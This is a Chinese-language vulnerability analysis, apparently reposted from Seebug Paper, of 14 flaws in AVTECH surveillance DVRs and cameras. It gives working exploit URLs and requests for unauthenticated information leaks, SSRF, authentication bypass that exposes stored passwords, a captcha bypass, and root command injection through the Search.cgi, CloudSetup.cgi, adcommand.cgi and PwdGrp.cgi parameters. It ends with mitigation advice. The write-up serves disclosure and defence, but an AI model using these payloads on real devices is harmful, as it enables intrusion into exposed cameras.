Author:光棍節

AVTECH是一家臺灣的視頻監控設備制造商,公司成立于1996年,是世界領先的閉路電視制造商之一,主要產品有監控設備,網絡攝像機,網絡錄像機等。

近日,匈牙利安全公司 Search-Lab 發表了一份公告詳細的披露了AVTECH監控產品存在的14個漏洞,事實上早在一年之前,該公司就先后4次嘗試向AVTECH公司通報發現的漏洞,但是均沒有收到回應,該公司于一周之前公布了整個漏洞的詳情。

漏洞詳情:

由于很多設備可以直接通過公網IP地址訪問,所以影響較大,本文詳細的分析漏洞的成因和利用方式。

1、 未經身份驗證的信息泄露

由于/cgi-bin/nobody目錄下的CGI腳本文件運行權限設置不合理,導致可以在未認證的情況下直接運行,此類型漏洞已經在多個設備中出現,斐訊K1就是因為cgi文件執行權限限制不合理,導致可以直接獲取路由器的所有配置信息。 攻擊鏈接示例:

http://<device_ip>/cgi-bin/nobody/Machine.cgi?action=get_capability

獲取攝像頭的設備信息。

2、DVR設備存在著無需用戶登錄的ssrf漏洞

在DVR設備中,Search.cgi可以直接被訪問,Search.cgi負責搜索和訪問本地網絡中的攝像頭,Search.cgi提供了cgi_query功能,通過設置ip,port和queryb64str三個參數可以實現直接訪問本地網絡中的攝像頭。 利用實例構造如:

http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=scan

獲取局域網中所有的攝像頭的配置信息。

3、DVR設置存在著無需用戶登錄的命令執行漏洞

Search.cgi中提供的cgi_query功能是通過wget功能實現HTML請求,但是由于對參數沒有驗證和過濾,可以通過構造參數實現root權限的任意系統命令的執行。

實例鏈接如下:

http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin

4、認證繞過漏洞

可以通過兩種方式實現認證繞過:

第一種是.cab方式,cab格式文件是視頻播放器插件,存儲在web的根目錄下,它可以無需驗證直接被訪問和下載,而設備端只是通過strstr函數查找鏈接中是否存在.cab字段,如果含有就直接認為免認證。

第二種是nobody方法,同樣由于設備端只是通過strstr函數去查找鏈接中是否存在nobody字段,如果有就直接免認證。 兩種方式的鏈接可以如下,.cab和/nobody可以放在鏈接中的其他地方,獲取設備的配置信息,其中包括登錄的用戶名和密碼。

http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*

5、web根目錄下任意文件下載

由于.cab字符串是通過strstr方法驗證的,那么可以通過在文件名稱末尾加上?.cab實現文件下載。作者類推的實驗了一下在鏈接后加上?/nobody,也可以下載文件,漏洞的原因相同。 實例鏈接:

http://<device_ip>/cgi-bin/cgibox?.cab
http://<device_ip>/cgi-bin/cgibox?/nobody

6、登錄驗證碼繞過

設備在登錄時通過增加驗證碼方式防止暴力猜解用戶名和密碼,但是由于系統設計的不合理,可以通過增加login=quick直接繞過。 鏈接格式如下:

http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick

如果沒有采用quick方式的話,鏈接的格式如下:

http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&captcha_code=ZVFU&verify_code=ZVmHTLN5eiGB

由于captcha_codeverify_code是配套的,我們可以通過人工設置使他們保持一致同樣可以繞過驗證碼驗證,從而暴力猜解用戶名和密碼。

7、認證后的多個任意命令執行漏洞

第一個:設備通過CloudSetup.cgi支持Avtech云服務,在登錄認證通過之后,由于沒有對參數進行驗證,可以通過exefile參數以root權限執行任意命令。

http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps

第二個:部分設備支持ActionD命令,通過adcommand.cgi文件實現,新版本設備的ActionD提供了DoShellCmd功能,在認證通過之后,由于沒有對參數進行驗證,可以以root權限執行任意命令。此功能需要以post方式實現,其中cookie中的SSID為用戶名和密碼的base64值。

POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1

Host: <device_ip>

Content-Length: 23

Cookie: SSID=YWRtaW46YWRtaW4=

DoShellCmd "strCmd=ps&"

第三個:PwdGrp.cgi文件在增加用戶或者修改用戶時,由于沒有對參數進行驗證,可以同時以root權限執行其他命令。

http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN

8、其他安全漏洞

第一個:使用沒有認證證書的Https服務。系統中的SyncCloudAccount.shQueryFromClient.shSyncPermit.sh使用wget去訪問https網站,如https://payment.eagleeyes.tw 等。由于沒有證書驗證,此https通信可能遭受中間人攻擊。

第二個:密碼明文存儲。容易被攻擊輕易獲取所有的用戶登錄密碼等敏感信息。

第三個:CSRF漏洞。設備沒有任何防CSRF攻擊的措施,當管理員正登錄時,可能受到CSRF攻擊。

補救措施:

在shadon上搜索關鍵詞“Avtech”,有超過13萬個設備暴露在互聯網中,當前avtech關鍵詞搜索已經成為shadon上排名第二的熱詞,由于廠商目前還沒有提供固件更新,所以建議大家采取如下措施來保護:

1、修改默認的登錄密碼; 2、限制用戶通過公網訪問設備的web功能。

參考資料:

  • http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
  • https://github.com/ebux/AVTECH
  • http://www.securityweek.com/serious-flaws-expose-avtech-devices-iot-botnets
  • https://www.seebug.org/vuldb/ssvid-92491
  • https://www.seebug.org/vuldb/ssvid-92492
  • https://www.seebug.org/vuldb/ssvid-92493
  • https://www.seebug.org/vuldb/ssvid-92494

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/81/